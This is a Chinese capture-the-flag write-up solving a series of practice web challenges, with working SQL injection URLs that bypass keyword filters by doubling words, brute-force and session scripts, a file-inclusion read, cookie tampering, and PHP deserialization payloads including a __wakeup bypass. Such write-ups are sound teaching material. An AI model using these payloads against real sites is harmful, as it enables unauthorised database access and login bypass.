newbugku部分web题解

web1

题目代码

code.png

看到extract函数,联想到常见的变量覆盖漏洞

根据我以前写的文章

点击链接

可以构造$b为任意值,后面判断了a和c是否相等,可以使用伪协议来做

18.jpg

web11

打开题目显示如下

19.jpg

标题为robots,尝试访问robots.txt,访问后提示我们shell.php

访问shell.php

20.jpg

这块校验和西湖论剑的留言板题目很像,爆破脚本

import hashlib

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()

for i in range(1000000000):
    if md5(str(i))[0:6] == 'dc7dc4':
        print(i)
        break

结果如下

21.jpg

输入爆破出来的数字即可得到flag

22.jpg

web13

提交数据抓包,发现了base64加密的password

23.jpg

解密后是一个flag,但是提交发现并不正确,仔细观察数据包会发现一个hint

Hint: Seeing is not believing, maybe you need to be faster!

尝试将假flag中的字符串当做密码提交

24.jpg

提示我们要快一些,这样写脚本就可以了

import requests
import base64
import re
url = "http://123.206.31.85:10013/index.php"
s = requests.session()
html = s.post(url,data={"password":"123456"})
#print(html.text)
password1 = html.headers['password']
password2 = base64.b64decode(password1)
re_str = re.compile('flag{(.*?)}',re.S)
password = re.findall(re_str,str(password2))
print(password[0])
html = s.post(url,data={"password":password[0]})
print(html.text)

25.jpg

web18

题目是一道sql注入,过滤了and or select union 这些可用双写绕过

判断列数

http://123.206.31.85:10018/list.php?id=2' oorrder by 3--+

27.jpg

在判断为4时页面无返回

所以我们得到列数为3

查询数据库名

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,database(),3--+

28.jpg

查询表名

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='web18'--+

29.jpg

查询列名

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='flag'--+

30.jpg

获取flag

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,flag,3 from flag--+

31.jpg

web20

题目如下

32.jpg

常规编写脚本即可,key=密文

import requests
import re
while(1):
    url = "http://123.206.31.85:10020/"
    s = requests.session()
    html = s.get(url)
    re1 = re.compile('¼š(.*?)<br/>',re.S)
    result = re.findall(re1,html.text)
    url2 = url+"?key="+result[0]
    html1 = s.get(url2)
    print(html1.text)

有一点要注意,这题目的flag是有几率出现的,需要多跑几次

33.jpg

web25

web3

定位到上传界面

34.jpg

观察链接联想到文件包含漏洞,可以使用伪协议读取

用扫描器扫描发现flag.php文件,开始利用伪协议读取

35.jpg

解密后得到flag

36.jpg

web4

题目是一个登录框,尝试使用万能密码登录

37.jpg

提交后竟然登录成功。。。。。

38.jpg

web15

提示vim编辑器,想到临时文件swp

输入swp提交

40.jpg

将1改为i成功解出题目

39.jpg

web22

web21

访问题目查看源码

41.jpg

读取class.php的源码

42.jpg

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

提示我们有f1a9.php,这段代码可用反序列化利用

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file = "f1a9.php";
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
$a = new Read;
echo serialize($a);
?>

43.jpg

最后payload

44.jpg

web23

题目主页面如下

46.jpg

使用扫面器扫出如下页面

47.jpg

readme.txt有如下提示

48.jpg

用户名是admin 密码是三位数字,我们可以用burp爆破

49.jpg

成功登陆后得到flag

45.jpg

web7

注册登陆后,提示权限不够

50.jpg

尝试抓包

51.jpg

看到u和r的前几位是一样的,后面不一样的部分像是MD5加密后的字符串

在线解了一下

52.jpg

尝试把两个部分都换成admin的MD5加密字符串

53.jpg

得到FLAG

web12

题目如下

54.jpg

查看源码

55.jpg

class Time{
    public $flag = ******************;
    public $truepassword = ******************;
    public $time;
    public $password ;
    public function __construct($tt, $pp) {
    $this->time = $tt;
    $this->password = $pp;
    }
    function __destruct(){
        if(!empty($this->password))
        {
            if(strcmp($this->password,$this->truepassword)==0){
                echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
                if(!empty($this->time)){
                    if(!is_numeric($this->time)){
                        echo 'Sorry.<br>';
                        show_source(__FILE__);
                    }
                    else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
                        echo 'you need a bigger time.<br>';
                    }
                    else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
                        echo 'you need a smaller time.<br>';
                    }
                    else{
                        sleep((int)$this->time);
                        var_dump($this->flag);
                    }
                    echo '<hr>';
                }
                else{
                    echo '<h1>you have no time!!!!!</h1><br>';
                }
            }
            else{
                echo '<h1>Password is wrong............</h1><br>';
            }
        }
        else{
            echo "<h1>Please input password..........</h1><br>";
        }
    }
    function __wakeup(){
        $this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';
    }
}
if(isset($_GET['rua'])){
    $rua = $_GET['rua'];
    @unserialize($rua);
}
else{
    echo "<h1>Please don't stop rua 233333</h1><br>";
}

常规的反序列化操作,计算符合条件的时间

56.jpg

exp

<?php
class Time{
    public $time;
    public $password;
    public function __construct($tt, $pp) {
    $this->time = $tt;
    $this->password = $pp;
    }
}

$password = array(0=>'yml');
$time = '0x4c06f351';
$yml = new Time($time,$password);

echo serialize($yml);

?>

payload

57.jpg

绕过wakeup

O:4:"Time":3:{s:4:"time";s:10:"0x4c06f351";s:8:"password";a:1:{i:0;s:3:"yml";}}

得到flag

58.jpg

web24